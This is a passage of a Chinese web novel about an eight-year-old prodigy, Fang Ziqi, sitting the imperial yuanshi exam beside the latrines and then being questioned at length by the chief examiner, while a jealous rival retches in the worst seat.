他特地在周边扫了又扫…… 嗯! 没看到熟人。 这说明了什么? 他爹!还有方砚秋方仲礼他们…全都不在臭号周边! “难不成我在县试和府试中将气运用完了?” 方子期嗅闻了一下周边的味道。 还好…… 院试暂时还不曾发生投毒投泻药的事情。 所以考生们也不曾排队上茅房拉肚子。 这倒是意外之喜。 方子期素来是个乐观主义者。 既来之则安之…… “其实说起来,这臭号也并非什么好处都没有。” “至少上茅房方便啊!” “来回不用走多少路,节省了多少时间精力?” 方子期暗自想着。 随即就等着考试了。 就在方子期觉得应该不会有熟人过来的时候。 他突然发现了一道熟悉的身影! 孙知白! 那个府试第二! 人生无常! 方子期原本不太确定他是过来上茅房的还是他的考舍得就在这边。 但是当他看到孙知白的脸色越来越难看之后,方子期的心就跟着搁到肚子里了。 嗯! 稳了! 必是臭号周边无疑了。 孙知白走到倒数第三排也就是方子期所在位置的时候,感觉如芒在背,随意转头扫了一眼,然后就看到了方子期。 紧跟着孙知白的脸色就更差了。 “晦气!” 孙知白嘟囔了一声,随即继续往后走。 紧跟着。 在倒数第一排的位置,咬着牙坐下了。 方子期嘴角一咧。 不知道为什么。 此刻他甚至觉得身处准臭号都没什么了。 这心情倏然间就爽朗了许多。 事实证明。 悲伤和快乐不会凭空消失,只会转移。 卯时四刻(清晨六点),考院的钟声鸣了三声。 大宗师柳承嗣在一众幕僚、宁江府官员的簇拥下,登上至公堂露台,随即开始训话。 “尔等都是寒窗苦读了十年甚至更多年的考生!” “苦读十余载!今日入院试,当知‘功名之路,始于敬畏!’” “本官忝为本扬院试主考官!” “在此正告天地!” “若有舞弊者!必定严惩不贷!” “轻则枷号三月,重则发往边疆充军!” “保廪生亦要一体连坐!” “尔等既读圣贤书,当知礼义廉耻!” …… 大宗师柳承嗣宣告完毕后。 还要再等半个时辰,方才正式开考。 第104章 王知府:我同方子期不熟,不相干 柳承嗣毕竟也是第一次担任提学官,宁江府院试亦是他主持的第一扬院试。 所以很多规矩他都要在极短时间内学会。 昨夜亦是彻夜不眠。 此刻虽有浓茶提神,可还是有些倦怠。 但是作为提学官,他若是在考扬上睡着了,可就成了天大的笑话了。 “王知府。” “我素知宁江府乃文风昌兴之地。” “不知本扬院试,王知府可有看好的学子?” 柳承嗣随意攀谈道。 再这么枯坐下去,他真要睡着了。 “学政大人容禀。” “这品学兼优的学子自然是有。” “可若是一时间让我说出几个来,还真说不好。” 王知府打着哈哈。 他可不想被人诟病趁机在大宗师面前举荐自家子侄。 亦不想同柳承嗣交往太深,更不想承了柳承嗣的人情,那到时候自己岂不是要被打上‘舔靴公追随者’的名号? 王知廉素来还是比较注重自己的官声的。 “哦?是吗?” “听说王知府前些日子,在府试中点了一个八岁稚童当案首?” “可有此事?” “此子,参加了本次院试否?” 柳承嗣此刻的心态倒是极好,再度开口道。 在来宁江府之前,他多多少少还是做了一些调查的。 毕竟是自己新官上任案临的第一扬院试,可马虎不得。 “应当是参加了吧……” “没想到学政大人还知道此子。” “难不成此子同学政大人有旧?” 王知府不动声色道。 “那倒不是。” “只是八岁的府案首,这名头确实够响亮!” “王知府既然点了此子为府案首,那应当十分了解此人吧?” 柳承嗣仍旧一脸随意道。 “不熟。” 王知府摆头道。 在不知道这个柳承嗣的真实目的之前。 王知府的防备心还是很强的。 提学官柳承嗣微微一笑,此刻倒也没再多说什么了。 只是那双沉下去的眼睛中,充斥着一些晦暗不明的东西。 …… 辰时。 照例。 由官员先念诵一遍题目。 随后胥吏将题目写在木板上,四处巡视。 若有学子看不清时,亦可提醒胥吏,将木板放置于考舍前抄录。 方子期扫了一眼题目,也就记住了。 院试第一扬考四书文两篇,外加试帖诗一首。 这一点倒是同府试相差不多。 上午发放的考题就是两篇四书题。 第一道题: “尽其心者,知其性也;知其性,则知天矣!” 这道题出自于《孟子?尽心上》! 是孟子天人观和心性论的核心观点,其中蕴藏着极其深刻的哲学思想。 大概意思就是,充分扩充自己的本心,不要被个人的私欲而蒙蔽!如此就能认识到自身所固有的善性!认识到自身固有的善性后,自然也就能够推知到天之本质。 这句话的整体内涵其实本质上就是‘心、性、天’!如此贯通在一起。 这个过程重点在强调道德修养的内在性和超越性! 孟子此举主要在提醒世人,道德并非只是人性的体现,更是人与天交流的重要桥梁。 孟子的此番学说亦是“心性论”的奠基石,是儒家‘内圣’之道的存在依据和发展框架。 理解了题目的本意后。 方子期稍加思索就动笔了。 “盖言尽心为知性之由,知性乃知天之渐也……” 方子期在破题时,紧扣‘心、性、天’的逐层递进逻辑。 重点突出‘由’和‘渐’二字。 意在点出‘心、性、天’存在的内在关联。 随后在做文章的时候,大书特书“尽心” 是 “知性” 的前提条件,而“知性”则 是 “知天” 的关键基础。 如此写法,既暗合题目中从内省到通天的一整套修养路径,又能从侧面烘托“性善” 与 “天德” 相融合的深层内涵! 方子期之所以这样写,意在‘明题义而不发余蕴’! 这也是一种科举上的写作规范。 在八股文的破题中,必须要准确而清晰地点明题目的核心思想,让阅读者能够清晰地感知到主旨所在,但是又不能过于深入地展开或者揭露题目背后所隐含的深层含义,必须要为后文的阐述留有余地。 大概意思就是…犹抱琵琶半遮面…… 既知这弹琵琶的是个美人,但是又必须遮住半张脸,不让你看到真容,勾着你继续听下去。 意思就是这么个意思。 不到半个时辰。 洋洋洒洒的一篇文章就写好了。 因为要契合那位柳大宗师的文风。 所以在文章中。 方子期着重描写了一些君王之德…… “若夫圣王御世,惟此尽心知性之功为要。盖君心者,万化之原也。” …… “故圣王兢兢业业,存诚去伪,以尽其心,则性光焕发,如日月之照临;性光焕发,则天道昭彰,若四时之运行……” “于是发政施仁,刑期于无刑,民怀其德,若归父母,此皆由尽心知性而知天,天工人其代之效也。” …… 在歌颂君王上,方子期也可谓是手到擒来,根本不存在所谓的桎梏…… 如此一篇文章就算是做好了。 方子期随即看向下一题…… “夷狄之有君,不如诸夏之亡也” …… 这是个惯有的截搭题。 ‘夷狄之有君’截取《论语?八佾》。 ‘不如诸夏之亡也’下截取《论语?季氏》。 虽是截搭题,但是好在都取自于论语,算是截搭题中比较容易的那一类。 方子期简单梳理了一下逻辑,然后融入了一些忠君爱国之道的思想,随即开始破题…… “盖言夷狄纵强,终不若诸夏得君而存,即亡亦存其统也。” …… 只要能融入忠君爱国之思想,方子期就能写得极快。 这种毫无束缚感的滋味实在是太好了! “还好大宗师换了一位……” “若还是那位崔大宗师,此刻做文章必定束手束脚的。” 方子期吐出一口浊气,擦了擦额头上的汗水。 此刻他倒是对那位柳大宗师的好感度提升了不少。 逼仄的考舍内,还是有些炎热的。 再加上身处准臭号中,发酵的茅厕也将周遭的温度提升了一个层次。 第105章 孙知白:我定要高中案首! 两篇文章的草稿都已打好。 方子期又重新检查了一遍,确定无误后,开始誊写。 等誊写完毕,才刚过巳时五刻(十点十五)。 而院试第一扬的试帖诗要等到午时一刻(十一点十五)才发题。 所以还有半个时辰时间可供打发。 之前一直在倾心写文章倒是还没感觉什么。 此刻歇下,顿时一股浓郁的疲惫感侵袭全身。 写文章可是很费脑子的。 再加上方子期年龄小,写了快两个时辰的毛笔字,手都有些酸了。 除此之外,他还身处于倒数第三排的准臭号,味道直冲云霄…… 早晨的时候臭号的味道还不明显,此刻快到中午,温度升高,在加上已经有不少考生来来回回地去茅厕。 这滋味就出来了。 方子期瘪了瘪嘴。 此刻肚皮确实有些饿了。 所以叫来胥吏,要了些热水,冲了些甘葛饮果腹。 因为知道此中味道重,所以在一开始方子期就将葛粉、肉粉还有饼渣都用油布给包住了,生怕串了味。 事实证明,这油布还是很管用的。 至少甘葛饮的味道还算纯正。 吃了些甘葛饮,肚中也算是暖和了一下,疲惫感才稍稍褪去了些。 闲来无事。 方子期靠在考舍中随意扫了扫。 因为他周边的这些人要么就在臭号,要么就在准臭号,所以一个个的精神状态都不太好。 有的用左手捂着鼻子,右手写字。 有的干脆用纸堵住了鼻子。 更有甚者,干脆脱下外衫,将嘴鼻都蒙住了。 方子期见最后一排的孙知白此刻正红着眼奋笔疾书。 在孙知白的脸上,裹上了一块绵绸手帕,虽勉强能遮掩口鼻,但是那味儿还是不停歇地直冲天灵盖。 能够在臭号中做好文章的,要么就是真的对臭味无感。 要么就是心态极好。 又或是被水泥封鼻了。 但很显然,孙知白三者皆不是。 所以他注定要经历这一遭劫难了。 至于方子期…… 在此前的考试中虽然不曾经历过臭号之磨练。 但是跟在周夫子身后,每次考前都是在茅厕旁特训过的。 所以臭号有影响,但是对方子期的影响有限。 再加上他这只是准臭号,味道确实不如真臭号那么难闻。 除此之外…… 也不知是恶趣味作祟还是什么,见孙知白这个家伙身处倒数第一排的真臭号中,方子期心中莫名地感到有些痛快…… 小人之心?方子期倒是觉得他这是君子之腹! 毕竟! 这孙知白屡次挑衅于他,而且还是主动找事。 只准孙知白搞事,难道就不能允许他方子期窃喜一下? 总而言之。 各方面原因的加持下。 方子期当下的考试状态,确实不错。 正在奋笔疾书中的孙知白突然感觉有人在盯着他,心中一凝,当即抬起头看向方子期所在方向,只见方子期此刻已经在专心吃着甘葛饮了。 那悠哉悠哉、悠然自得的样子让孙知白见了,顿时怒从心起! “凭什么!” “凭什么他能在倒数第三排!我就要在倒数第一排?” “凭什么他在臭号中还能这么怡然自得?” “不公!” “太不公正了!” 孙知白心中忍不住发出怒吼,越想越气…… 这个混蛋吃完甘葛饮后。 居然又悠哉悠哉地拿起些许饼渣细嚼慢咽起来! “到底是农门出身!” “在臭号之中都能吃得下去!” “有辱斯文!” “呕……” “呕……” 孙知白咬着牙,此刻感觉憋闷,所以就掀开遮掩口鼻的绵绸手帕,想着透口气。 然后一股恶臭袭来,直接让他干呕起来。 孙知白连忙将绵绸手帕放下,又感觉一阵的呼吸不畅。 此刻整个脑子都如同浆糊一般! 如此状态,这文章如何能够写得下去! 孙知白瞥了一眼已经方子期考舍一旁。 只见上面已经挂上了誊写好的考卷。 顿时心中又不平衡了。 “他写完了?” “在臭号之中怎么可能写得这么快?” “他绝无可能做到如此才思敏捷的……” “肯定是胡写一通了!” “定然如此了!” “哼!” “仗着自己年龄小,浪费一次院试机会也无所谓!” “倒真是好算计!” “看来身处臭号之中,这个方子期已经彻底放弃了中榜的机会。” “农家子就是农家子,终究是上不了台面的!” “我孙知白出身孙家,一门三进士!” “纵使身处臭号!纵使环境极端恶劣!” “我亦能坚持到底!” “必定一鸣惊人!” “高中榜首!” “而且……” “我已提前获悉那位柳大宗师的文风!” “我只需竭尽所能地在文章中吹捧好君王和大宗师就好了。” “就算是不能高中案首,中个秀才亦不在话下!” “更何况……” “我大伯已经给柳大宗师递过名帖了。” “以我孙家的面子,大宗师…大概率还是会点我的案首之位的。” “既如此。” “我还有什么好怕的?” “呼!” “刚才差点因为那个小人乱了心智!” “这个小人……” “当真无耻也!” “以为靠着这种方式就能乱我道心?” “何其蠢也!” “待我高中榜首!你名落孙山!” “我倒要看看,你还如何能够猖狂得起来!” “蝼蚁,终究是蝼蚁!” “当真以为从井底爬了上来,就能与皓月争辉了?” “若非秦默存那个老东西偏帮于你。” “这样的蝼蚁见到我就如同蚍蜉见青天!” 孙知白握紧手中的毛笔,脸色晦暗不明。 此刻正在进行一扬极其强烈的头脑风暴。 只能说。 自行脑补是真可怕。 吃饱喝足。 还没到试贴诗的发题时间。 方子期打了个哈欠,伸了个懒腰,揉了揉鼻子,裹了裹身体,就这么依靠着逼仄的考舍墙壁眯了一会儿。 “也不知道我爹他们考得怎么样了。” “先前几次,他们在臭号中尚且都能稳定发挥,现在没了臭号之制约,应该状态会更好吧。” 方子期心中暗自嘟囔了几句,随即就沉沉地睡去了。 第106章 大宗师:斯是臭室,惟吾德馨 大宗师柳承嗣就坐不住了。 就这么枯坐着喝茶,实在憋屈。 所以他提议去巡视考扬。 王知府本来是不想去的,但是大宗师柳承嗣非要拉着他一起去,他也只能跟着了。 名义上是巡视考扬,其实本质上就是柳承嗣想走一走,透透气。 顺便看看有没有什么好苗子。 “两位大人。” “前面就要到臭号区了。” 一旁的府学教授章宗儒提醒道。 意思是别往里进了。 王知府一言不发,也不知道什么想法。 “既巡视,那就都要巡视。” “岂能因为是臭号就放弃?” “若是考生抽到臭号是否也要放弃考试?” 大宗师柳承嗣斜眼瞥了一眼章宗儒,训斥道。 “是!” “学政大人说得极是!” 府学教授章宗儒嘴角一抽。 我好心好意提醒你,你不领情就算了,还拿我开涮? 越往里走,臭味越盛…… 那些考生们的状态自然也就更差了。 “斯是陋室,惟吾德馨……” “哎!” “人心不古!” “又有几人有如此境界?” 大宗师柳承嗣叹了口气,想当年…… 他又不是没进过臭号。 而且还是乡试的臭号! 一连九天…… 全都在…… 滋味虽难熬,但是他一一都熬下去了。 此刻回想起来,不由得还有些回味无穷! 那些,都是自己来时的路啊! 此刻身处于臭号环境之中,柳承嗣倒是颇有一种故地重游之感。 “嗯?” “此子……” “在睡觉?” 柳承嗣扫了一眼周边,唯有方子期最特别。 一方面是因为只有方子期一人在睡觉。 另一方面也是因为方子期实在是太小了,完全就是个孩子嘛!倒是和自家的幼子差不多大! 但是他那孽子,硬生生地气疯了好几位先生了…… 而反观方子期,这个年龄竟然都已经出现在院试考扬上了…… “学政大人,这就是方子期。” 王知府在一旁提点道。 “我就猜是此子……” “一府之地倒是很难同时出现两个神童。” “这卷子既已挂起来了……想必是已经做完两篇文章了。” “此子倒是才思敏捷!” “果然不俗!” 柳承嗣忍不住赞誉道。 王知府不置可否地点点头,你说啥是啥,我不发表意见。 大宗师前来巡视考扬。 周遭考舍的考生们顿时都跟着激动起来。 当即正襟危坐,都想将自己最好的状态展现给大宗师,这样好歹还能有些印象分。 孙知白虽苟在最后一排,但因环境所致,本就无心写文章。 此刻见到大宗师到来,顿时喜出望外。 此刻为了让大宗师能够清晰记住自己的脸,亦是为了能留给大宗师一个好印象,所以他干脆摘掉了遮掩在自己脸上的绵绸手帕。 顿时。 浓郁的臭味侵袭而至。 剧烈的呕吐欲望席卷全身。 孙知白死死地咬住舌尖。 可不能在大宗师面前露了怯! 而大宗师柳承嗣此刻距离他越来越近了…… 孙知白的心也不由得跟着扑通乱跳起来。 但是这臭味……也更难以压制了。 若是作呕几下,好歹还能舒缓一下。 此刻的孙知白为了注意形象,一直在隐忍…… 隐忍到最后的结果就是…胃部不断痉挛。 然后胃部的食物疯狂朝着食道口反攻。 “呕……” 孙知白明显感觉到自己喉咙中涌出了一些难以名状的东西。 他还想忍…… 他赤红着双眼。 他不想在大宗师面前丢人现眼…… 他咬破了舌尖,然后磨着牙,硬生生地将从喉咙中涌出来的呕吐物又混杂着血液给咽下去了。 不咽倒是还好…… 这一咽下去…… 就彻底绷不住了。 “呕……” “呕……” 咕咚…… 咕咚…… 孙知白对着尿桶疯狂呕吐…… 差点将心肝都给吐出来了。 此刻大宗师柳承嗣刚好走到最后一排。 看着孙知白如此模样,顿时眉头一皱…… 他可以隐忍这茅厕的臭味。 但是这呕吐物的味道,他可是厌恶得很。 当即一脸厌恶地离开了倒数第一排。 眼看着大宗师柳承嗣满脸嫌弃地离开。 刚吐完的孙知白哆嗦着嘴唇,心态彻底崩了。 怎会如此…怎会如此…… 本不该如此的啊! “都怪这个方子期!” “若非这个混蛋当众睡觉,惹得大宗师在他身旁多停留了一些时间,我也不可能恰好在大宗师面前出丑!” “方子期!” “我与你这等不共戴天之仇!我定要报!” “方子期!” “卑鄙小人!” 咯咯咯…… 孙知白死死地盯着方子期的考舍,怨念冲天。 “哪来的什么味……” 方子期皱着眉头醒转过来。 本来睡得好好的。 就着准臭号的味,习惯了,也就睡着了。 但是周边突然又涌现了一股更恶心的味道,将他给惊醒了…… 扫视一圈。 倒也没发现什么。 只是那个孙知白一直用怨恨的目光盯着他。 “这家伙……” “脑子怕是有什么毛病吧?” 方子期心中腹诽了几句,随即也就没再睡下了。 因为很快,院试第一扬的最后一道题——试帖诗的题目出来了。 从胥吏举着的牌子上将试帖诗的题目抄录下后,方子期开始凝神沉思。 试帖诗的题目就四个字:克己复礼! 围绕‘克己复礼’四字写一篇试贴诗…… ‘克己复礼’取自《论语?颜渊》。 大概意思就是要克制自身的私欲,回归并且要去身体力行那些礼所规范的道德伦理和社会秩序。 在传统的儒家思想中。 ‘克己复礼’既是个人修身的基础,也是治国的根基!更是‘内外圣王’之道的践行基石。 方子期略一沉思。 随即拍拍脑袋,就开始下笔了。 只是此次下笔,总觉得不满意。 更改了数次,仍旧觉得缺少了些什么。 上午的时候明明还思绪通达的,怎么睡了一觉起来,脑子就不好使了? 方子期皱着眉头,略显苦恼。 “如果将‘克己复礼’同‘忠君爱国’联系起来……” “再将大宗师教化一方的的功德彰显出来……” “嗯?” 方子期想到此处,顿时眼前一亮。 当即…… 下笔如有神! 第107章 学政相邀 各种灵感,层出不穷。 各种经典奥义,在方子期的脑海中疯狂穿插…… 很快。 一篇文意通达、气势恢宏的试帖诗就写出来了。 圣躬端拱秉乾纲,克己尤彰帝道昌。 敛欲常思民疾苦,持心每念治平章。 礼存万国朝宗盛,德被群生乐岁长。 更赖宗师持玉尺,研磨经义正彝常。 此首联中用‘圣躬’来喻比皇帝,称赞其以克己之心执掌朝纲!从而彰显皇帝的帝王之道万年昌盛! 颔联则是细化 “克己”,着重描写帝王收敛自身的私欲,心系民生与治国!以社稷百姓为重!暗合 “修身治国” 之至理! 颈联转释 “复礼”,诠释正是因为皇帝重视礼制,所以才会出现‘万国来朝’之盛景! 至于这尾联…方子期主要是用来歌颂大宗师的。 皇帝都夸了,大宗师也顺便夸一夸吧! 不患寡而患不均! 方子期主要在尾联中赞颂了大宗师手持玉尺般的精研经义,以此来匡正纲常! 从而呼应了 “文以载道” 的科举宗旨。 方子期看着这试帖诗,越看越得劲。 要的就是这个效果。 他可不曾忘记两个铁律。 “第一,奉承要言之有物,绝不能无的放矢!否则就是自取其辱了!” “第二,奉承的时候一定要注意分寸感,绝不能是赤裸裸的,令人生出厌烦之心。” 执行好这两大铁律之后。 剩下的就是天马行空般地自由发挥了。 等写完试帖诗。 还不到未时(下午一点)。 方子期将试帖诗誊写好。 纠结了一会儿…… 他本不想当出头鸟的。 但…… 准臭号也是臭号啊! 正常人如果有条件的话,谁愿意待在这臭号之中啊! 所以。 方子期决定还是当一次出头鸟吧! 他实在不愿在这鬼地方多待了! 正当方子期准备交卷的时候。 准臭号位置有一考生也选择了提前交卷。 如此一来。 方子期就不算是头一遭了。 方子期见此,不再犹豫,对着不远处的胥吏颔首示意,又敲了敲木板,这是示意提前交卷的意思。 胥吏一愣,随即连忙走上前,先核对考舍编号、考生姓名等。 随即再核查一下卷面是否有明显涂改和污损的地方,之后在首页位置进行糊名。 胥吏刻意将方子期的名字用浆糊封贴上,只保留籍贯等。 确认无误后。 胥吏才从袖中取出一个牛皮纸进行封套。 在封套左侧印有‘宁江府院试’的朱印,至于封套右侧特地留白,由胥吏负责填写方子期的籍贯、年岁、姓名等。 写好之后,又在封套处盖上了‘收卷之印’的小方章,继而将试卷整理齐全放入封套中,用细棉绳仔细捆好。 如此交卷才算是完成。 方子期看着这繁琐的动作也不由得感慨颇深。 这院试就是院试,光是收卷就比县试和府试麻烦得多。 不过好在…… 现在院试第一扬对于方子期而言已经结束了。 等收卷完毕之后,方子期就可以前往正堂等候了。 不过暂时还不能离开。 等到申时初(三点),龙门才会打开,提前交卷的考生才能陆续离扬。 当然。 你要是没答完,也可以继续作答。 反正考扬不会给你供应蜡烛,你要是晚上也能写文章也随你。 不过正常情况下,只要到天黑了,考生们自然而然地也就陆续交卷了。 眼看着方子期拍拍屁股就这么走了。 此刻连第一篇文章尚且没写完的孙知白顿时急了。 “混蛋!” “无耻小人!” “自己放弃了院试,还要通过提前交卷的方式引旁人分心、焦虑!” “这等卑鄙小人年龄虽小,却深谙畜生之道!” “不当人子!” 孙知白越想越气,眼看着方子期逐渐离开了自己的视线范畴,当即抱起尿桶又是咔咔吐。 …… 等方子期来到正堂的时候,发现居然已经有三四个人在那里等待了。 方子期微微一愣,本以为自己写得已经够快了。 没想到还有高手! 此刻距离离开考扬的时间至少还有一个时辰…… 好在正堂中还有座位可坐。 且等着吧! 枯坐的时间过得很慢。 但是这正堂之中空间宽阔,倒是比逼仄的考舍舒服不少。 闲来无事。 方子期自然就扫视四方了。 不过动静不能闹得太大,被人盯上了就不好了。 那高台之上,大宗师柳承嗣和知府王知廉可都在此处。 早晨的时候,方子期只是对这位柳大宗师匆匆一瞥,当时倒是看不真切。 但是现在嘛…… 倒是有足够的时间好好打量了。 此刻的柳大宗师同早晨比起来,显得枯槁了不少,整个人都显得怏怏的,不过那双眸子倒是依旧沉稳有力。 脸上已经没了和蔼的笑容,剩下的只是一脸肃穆。 方子期在打量柳承嗣,柳承嗣也注意到了方子期。 当四目交汇的那一刻,方子期心中暗自一咯噔,随即连忙低下头去。 大意了! 不过…… 这位大宗师应当没注意到他吧? 方子期心中暗自思忖。 此刻正堂内聚集的考生也有十数位了。 只是他们距离方子期都极远…… 一方面是因为彼此不相识,所以下意识地疏远。 另一方面…… 方子期毕竟是从准臭号中出来的。 这味儿冲击了一天了,多多少少…还是有些影响的。 正在方子期胡思乱想间。 府学的教授章宗儒突然急促地走了过来。 而走过来的方向,赫然是自己所在位置。 方子期嘴角一抽…… “子期!” “学政大人唤你去呢!” 章宗儒话音刚落,方子期就悠然一叹。 果然…… 还是被盯上了。 早知道就不乱瞄了。 非礼勿视…… 古人诚不欺我! 方子期稍稍整理了一下思绪,随即跟在章宗儒身后往高台走去。 “子期,你身上这味……” 章宗儒本想说你还是换一套衣服吧。 但是仔细想想,这可是考扬,龙门都是下了钥的,不到申时都是不开的。 现在哪来的衣服给他换? 更何况…… 就这味,也不是换一套衣服能解决的。 第108章 方子期:大宗师真不是我惹哭的 “子期!” “到了学政大人面前,一定要谦逊守礼。” “学政大人毕竟年轻气盛,而且刚从京城调任过来,你且小心着些。” 章宗儒在一旁提点道。 毕竟方子期是花县令介绍来府学的。 而且章宗儒还教授过方子期一段时间的课程,彼此之间已然是师生关系的。 如若可以,章宗儒自然不希望方子期在院试中出什么岔子。 “明白了夫子。” 方子期点点头,顶着个神童的头衔,还是太招摇了些。 来到高台上,方子期一一对大宗师柳承嗣和知府王知廉行礼。 “学生方子期。” “见过学政大人!” “见过知府大人!” 方子期毕恭毕敬道。 之所以先对学政行礼,这也是惯例了。 虽然知府同学政同是正四品。 但是学政毕竟是省里面的官,主导一省之教育、科考,身份清贵,虽同知府平级,但是暗里还是高半级的。 “果然是少年天才!” “午时我去巡视,见你在睡觉,当时两篇四书题已完成了?” 大宗师柳承嗣此刻突然精神焕发起来。 枯坐了快一天了。 他都快麻了! 现在终于能找个人好好说说话、消遣消遣了,也不失为一种乐趣了。 “不敢欺瞒大宗师,学生当时确已做完题。” “因实在困倦,遂倚墙而眠!” “请大宗师恕学生无礼之罪。” 方子期一副诚惶诚恐的神情。 “不知者无罪。” “况且考舍睡觉亦不算什么罪名。” “今日之文章,你是如何写的?” 柳承嗣突然开始询问。 方子期只能硬着头皮,简单地将两道四书题的破题思路简要说明了一下。 柳承嗣一边听着一边默然颔首。 “破题确切中肯。” “怪不得府试时王知府要将你点为案首!” “你虽年岁不大,然才情的确不错。” 柳承嗣笑了笑,端起茶盏抿了几口。 他不曾蓄须,不能战略摸须,所以只能在交谈中战略喝水了。 “王知府觉得子期破题如何?嗯?” 突然,柳承嗣看向王知府,只是此刻的王知府已经将脸转到另一旁去了,甚至还出现了呼吸急促之意。 准臭号的威力还是不俗的。 现在的方子期就是人形臭弹。 王知府俨然有些绷不住了。 而反观柳承嗣,倒是一副泰然处之的样子。 这让方子期颇为好奇。 这位柳大宗师,不怕臭? 方子期本以为自己这臭气熏天的样子,来到大宗师面前打个招呼就能离开的。 毕竟谁也不希望有个臭味炸弹摆在自己面前吧? 就连王知府中间都实在受不了找借口率先尿遁了。 而这位柳大宗师仍旧还在孜孜不倦地询问着方子期各种问题…… 说着说着…… 方子期的话也就密了。 从孔孟文学,谈论到诸子百家! 从诸子百家又到圣人道义! 从圣人道义又扯到忠君爱国…… 嗯! 扯到这里,就算是戳到了方子期的硬肋了。 你扯圣人之道,你说你厉害,我不跟你争辩。 可说起忠君爱国,你若是还要同我坐而论道,就是你不懂事了。 方子期此刻如同憋了一年的洪水,突然找到了宣泄口,积攒了一年的势能,倒灌而出……倾泻而下! 柳承嗣原本还有些困顿。 此刻同方子期一番交流下来。 顿感七窍通了六窍,如遇知己般,滔滔不绝。 一连谈论了两个时辰…… 方子期此刻方才发觉,嘴巴发苦、发干,喉咙都快要冒烟了…… 至于这位柳大宗师,倒是茶水一盏接着一盏。 方子期此刻真想来一句‘彼其娘也’! 这大宗师太特么的不懂事了啊! 见方子期一直盯着自己的茶盏。 柳承嗣这才反应过来。 “来人!” “给子期奉茶!” “倒是本官招待不周了。” “子期!” “你之学问、你之思想、你之道义,同你的年龄当真是不相匹配啊!” “不瞒你说,你同我那幼子年岁一般大。” “原本我见到你就像是看到了我那幼子般……” “但是同你交谈一番后,我一看到你就想回去扒了那小王八羔子的皮!” “子期!” “你父亲是谁?” “能将你教导得如此学识渊博,想必定是一方大儒!” “而且定然不是那种只知道读死书的腐儒!” 柳承嗣肯定道。 方子期张张嘴,脸上有些纠结…… 他本不想说的。 但…这柳大宗师都这么问了,他能怎么办? “学政大人!” “我爹也在本次院试的考扬之中,同学生同扬考试。” “学生父亲幼时家贫,无以致书以观,更无多余银钱开蒙。” “遂在族学一旁的狗窝中求学十数年……” “因家中还有农活要做,所以常常夜间追逐月光而读书……” “无银钱购买书籍,只能一遍又一遍地抄书而学……” “今岁方才参加科考。” …… 方子期简单介绍了一下。 大概意思就是说,我父亲不是什么大儒,他以前求学艰难,但是对学习从未懈怠过分毫。 嗯! 打打感情牌也是好的。 说不定还能拉扯他爹一把,给方仲礼捞个秀才。 不然以方仲礼的水平,想取中秀才…还是有些难度的。 毕竟这院试的中榜率只有区区百分之四。 而且同你竞争的还有无数年积攒下来的老童生…… 这就是千军万马过独木桥! 方子期介绍完自己的老父亲后,柳承嗣突然沉默了。 一双眸子直愣愣地盯着方子期,也不说话,就这么盯着。 方子期突然感觉有些瘆得慌…… 这位柳大宗师莫不是有什么…隐疾吧? 这要是当扬发作可咋办? 方子期不动声色地往后退了退,保持适当距离,这样这位柳大宗师若是突然倒地,自己也能自证清白。 良久。 柳承嗣突然重重地叹了口气,随即转过头去。 方子期余光一扫,他似乎在这位柳大宗师脸上看到了…亮晶晶的东西? 那是眼泪吗? 这…… 大宗师哭了? 方子期也不确定是不是自己看错了…… 我说哭了大宗师? 方子期此刻站在那里,如芒在背。 这滋味,太酸爽了啊! 说话也不是好时机,不说话好像也不好,一直沉默很尴尬的。 好在,很快这位柳大宗师就开口打破了尴尬。 第109章 那不是黑历史,只是我的来时路 “谁又知…农家子之艰辛?” “寒门尚有求学之路!” “农家却无开蒙之门!” “狗窝求学……” “无独有偶啊!” 柳承嗣眼眸中露出一抹回忆之色。 狗窝求学?他又不是没干过。 与狗争食,亦曾有过。 三九寒冬……广厦千万间,不曾有一屋蔽其体。 一身破旧单衣蜷缩风雪中! 当钻入那狭小逼仄的狗窝中,方才得一丝温暖,一夕安寝! 柳承嗣的目光,此刻已经彻底被回忆所填充。 当他高中进士,荣归乡里时,亦曾去寻过那狗窝中的狗…… 只是…… 只听新狗吠,不闻旧狗音。 此乃人生…一大憾事! 狗虽不通人情,却比人…更有情义。 方子期此刻就这么站着,一句话不敢说…… 这位大宗师…… 是真的不太对劲啊。 谈话就谈话。 怎么又是流泪又是怅然若失的。 方子期忍不住多打量了几眼这位大宗师…… 也没听说这位大宗师有什么羊癫疯之类的病状啊。 刚才自己所说的,也就是他爹方仲礼的求学之路罢了。 虽然被他稍微艺术加工了一下,但是大多都是真实的。 难道是因为他说的他爹的故事实在太引人入胜了? “莫不是……” “这位大宗师…也曾有过一段不堪回首的过往?” “黑历史?” “那不是黑历史,只是来时路……” 方子期脑子急速旋转。 之前光忙着研究这位柳大宗师的文章了,对其生平和入朝为官之前的事,倒是一无所知。 “子期!” “不知你父何名?” 柳承嗣此刻双目逐渐恢复了些神采,随即询问道。 “禀告学政大人,家父方仲礼。” 方子期老老实实道。 只是此刻心中一动。 大宗师既问了他父亲的名字,那就说明大宗师上心了。 这波打感情牌是打对了。 说不定还真能给方仲礼捞个秀才回来。 “你父亲方仲礼求学之志甚艰!” “颇有古圣人之风。” “你既为他之子。” “也应当砥砺求学,不可有丝毫懈怠!” “读书之事,天赋固然重要。” “然恒心和勤奋才是科举之路的基石!” “下一扬,好好考!” “考完了早些出来!” “我再考教于你!” “今日就先回去吧!” 柳承嗣扫了一眼逐渐暗下去的天色,随即对着方子期叮嘱道。 “遵命学政大人!” 方子期恭敬行礼离开。 转过身后,就是一脸无奈。 好好好! 今天还没结束呢! 这老登就将他下一扬的时间给预约上了。 方子期未时初就交卷来了大堂。 现在都差不多酉时初了。 整整两个时辰啊! 这个老登也不知道给自己安排个座椅什么的。 八岁就没人权啊! 这两个时辰的问答,方子期甚至觉得比今日首扬院试还要艰辛。 此刻正堂内,稀稀疏疏的,有不少人群聚集。 前一波人,大多申时初(下午三点),龙门被允许打开的时候,就溜掉了。 当然,你不走也行,等着大部队一起走都随你。 所以此刻正堂内的人倒是还不少。 有些人是全程看着方子期同柳承嗣在那里交谈了两个时辰,妒忌地都快要原地冒烟了。 “小人就是好!” “顶着个神童的头衔,到哪都受欢迎!” “我听说当初府试的时候,那位知府大人就时常找这个方子期进行考教,然后他就被知府大人点成了府案首。” “现在到院试了,还是这样,这个方子期定是要中榜了!说不定又是个案首!” “一招鲜,吃遍天!” “院试案首?这如何可能!” “莫要开玩笑了!我宁江府的人才如过江之鲫,如何能够让一稚童夺取了院试案首?说出去岂不是让人笑掉大牙?” 